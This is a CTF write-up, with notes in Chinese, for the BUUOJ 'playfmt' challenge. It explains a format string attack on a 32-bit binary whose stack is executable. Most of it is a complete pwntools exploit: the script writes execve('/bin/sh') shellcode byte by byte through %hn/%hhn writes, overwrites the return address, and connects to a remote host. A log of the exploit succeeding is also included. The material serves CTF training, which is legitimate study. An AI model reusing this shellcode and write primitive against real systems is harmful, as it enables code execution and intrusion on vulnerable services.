WriteUp: hitcontraining_playfmt 1 2 3 4 5 6 7 8 ╰─$ checksec playfmt [*] 'hitcontraining_playfmt/playfmt'     Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX disabled     PIE:      No PIE (0x8048000)     RWX:      Has RWX segments 
重要信息:
a. i386 因此直接gdb.debug打开或者process打开用gdb.attach会有问题;需要特殊的处理,见后面exploit代码的start; b. Has RWX segments: 有可写可执行段,gdb playfmt后vmmap可以看到是stack c. No PIE: 因此ELF中符号,在ELF静态文件中的偏移即为加载后的偏移。但堆栈会随机化 
Fig. 1. Vulnerability Point
漏洞点在上图中的标号(1)处,为Format String Attack.
read->printf在while(True)循环中,因此可以无限次构造payload,理论上可以实现任意地址写。
但buf不在stack上,因此在payload中,任意写的目的地址无法直接通过字符串中指定,需要找到一个如下的栈链。
1 2 3 4 5 stack a: -> stack b  ... stack b: -> stack c  ... stack c: -> 任意值 
原理实质上很简单,通过Format String Attack的任意地址写,将Shell Code写入到RWX权限的栈上,并再次使用Format String Attack修改函数返回地址为Shell Code在栈上的地址。触发函数返回后即可获得shell。exploit时,有很多细节要注意:
a. 当 %Mc 之 M过大时,要留出足够的时间让程序完成完整printf行为。实际上应尽可能的让M值不要过大,不然容易失败。在exploit code中,我们采用了io.recvuntil(b'\n')的方式,用b'\n'字符作为输出结束的约定字符,这样即保证printf行为完整,又避免了过久等待。 b. stack链应避免使用ebp->prev-frame-esp->prevprev-frame-esp...的ebp栈链,否则在函数返回时,通过ebp恢复esp值时容易出错。当然无其他选择时,ebp栈链也是可以操作的,需要注意操作后的恢复工作,保证ebp链的合法性。 且ebp栈链的好处是,它肯定是存在的,且距离不远,很容易找到。  c. 该exploit code避免使用了one_gadget,system等需要libcSearcher搜索判断远程libc.so版本的操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 from  pwn import  *from  pwnlib.util import  miscfrom  LibcSearcher import  *import  oself = context.binary = ELF("playfmt" ) libc = elf.libc context.terminal = ["tmux" , "split" , "-h" ] gs = '''  continue ''' def  start ():    if  args.GDB:         p = process(elf.path)         cmd = ["gdb" , "-p" , str (p.pid)]         cmd = context.terminal + cmd         cmd = ' ' .join(cmd)          os.system(cmd)         time.sleep(1 )         return  p     elif  args.REMOTE:         return  remote('node4.buuoj.cn' , 28106 )     else :         return  process(elf.path) l = lambda  x,y : log.info(f"{x}  -> {y} " ) def  readByFmtStr (fmtstr ):    io.send(fmtstr)     addr = int (io.recv(), 16 )     return  addr io = start() io.timeout = 3000  io.recv() ebp = readByFmtStr(b"%6$p" ) l("ebp" , hex (ebp)) chain = readByFmtStr(b"%21$p" ) l("chain" , hex (chain)) shell = """  xor ecx,ecx mul ecx push eax mov al,0xb push 0x68732f2f    push 0x6e69622f    mov ebx,esp int 0x80 """ shell_bs = asm(shell, arch="i386" , os="linux" ) check = disasm(shell_bs) l("check" , check) l("shell_bs" , shell_bs) hexstr = ''  for  i in  range (len (shell_bs)):    hexstr += '\\x'  +  hex (shell_bs[i])[2 :] l("hexstr" , hexstr) shell_addr = chain & 0xffff00ff  l("shell_addr" , hex (shell_addr)) def  write_int8 (addr_low16, byte_value ):    log.info(f"write_int8: {hex (addr_low16)}  {hex (byte_value)} " )     addr_low16 = addr_low16 & 0xffff           payload = f"%{addr_low16} c%21$hn"      payload = payload.encode()     payload += b"\n\x00"           io.send(payload)     ctn = ""      ctn = io.recvuntil(b"\n" )                    payload = f"%{byte_value} c%57$hhn"      if  byte_value == 0 :         payload = f"%57$hhn"      payload = payload.encode()     payload += b"\n\x00"           io.send(payload)     ctn = ""      ctn = io.recvuntil(b"\n" ) for  i in  range (0 , len (shell_bs)):    aByte = shell_bs[i]     addr_low16 = shell_addr + i     write_int8(addr_low16, aByte) ret_addr = ebp - 0xc      l("ret_addr" , hex (ret_addr)) shell_addr_bs = p32(shell_addr) l("shell_addr" , hex (shell_addr)) for  i in  range (0 , len (shell_addr_bs)):    aByte = shell_addr_bs[i]     addr_low16 = ret_addr + i     write_int8(addr_low16, aByte) io.sendline(b"quit" ) io.sendline(b'cat flag' ) flag = io.recv() log.info(f"flag: {flag} " ) io.close() """ 16:0058│     0xff88e644 —▸ 0xff88e6d4 —▸ 0xff8900ca ◂— '../playfmt' ... 3a:00e8│     0xff88e6d4 —▸ 0xff8900ca ◂— '../playfmt' """ 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 ╰─$ python exp.py REMOTE [*] 'hitcontraining_playfmt/playfmt'     Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    No canary found     NX:       NX disabled     PIE:      No PIE (0x8048000)     RWX:      Has RWX segments [*] '/lib/i386-linux-gnu/libc-2.27.so'     Arch:     i386-32-little     RELRO:    Partial RELRO     Stack:    Canary found     NX:       NX enabled     PIE:      PIE enabled [+] Opening connection to node4.buuoj.cn on port 28106: Done [*] ebp -> 0xffb2d448 [*] chain -> 0xffb2d504 [*] check ->    0:   31 c9                   xor    ecx, ecx        2:   f7 e1                   mul    ecx        4:   50                      push   eax        5:   b0 0b                   mov    al, 0xb        7:   68 2f 2f 73 68          push   0x68732f2f        c:   68 2f 62 69 6e          push   0x6e69622f       11:   89 e3                   mov    ebx, esp       13:   cd 80                   int    0x80 [*] shell_bs -> b'1\xc9\xf7\xe1P\xb0\x0bh//shh/bin\x89\xe3\xcd\x80' [*] hexstr -> \x31\xc9\xf7\xe1\x50\xb0\xb\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80 [*] shell_addr -> 0xffb20004 [*] write_int8: 0xffb20004 0x31 [*] write_int8: 0xffb20005 0xc9 [*] write_int8: 0xffb20006 0xf7 [*] write_int8: 0xffb20007 0xe1 [*] write_int8: 0xffb20008 0x50 [*] write_int8: 0xffb20009 0xb0 [*] write_int8: 0xffb2000a 0xb [*] write_int8: 0xffb2000b 0x68 [*] write_int8: 0xffb2000c 0x2f [*] write_int8: 0xffb2000d 0x2f [*] write_int8: 0xffb2000e 0x73 [*] write_int8: 0xffb2000f 0x68 [*] write_int8: 0xffb20010 0x68 [*] write_int8: 0xffb20011 0x2f [*] write_int8: 0xffb20012 0x62 [*] write_int8: 0xffb20013 0x69 [*] write_int8: 0xffb20014 0x6e [*] write_int8: 0xffb20015 0x89 [*] write_int8: 0xffb20016 0xe3 [*] write_int8: 0xffb20017 0xcd [*] write_int8: 0xffb20018 0x80 [*] ret_addr -> 0xffb2d43c [*] shell_addr -> 0xffb20004 [*] write_int8: 0xffb2d43c 0x4 [*] write_int8: 0xffb2d43d 0x0 [*] write_int8: 0xffb2d43e 0xb2 [*] write_int8: 0xffb2d43f 0xff [*] flag: b'flag{▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇▇}\n' [*] Closed connection to node4.buuoj.cn port 28106 
https://buuoj.cn/challenges#hitcontraining_playfmt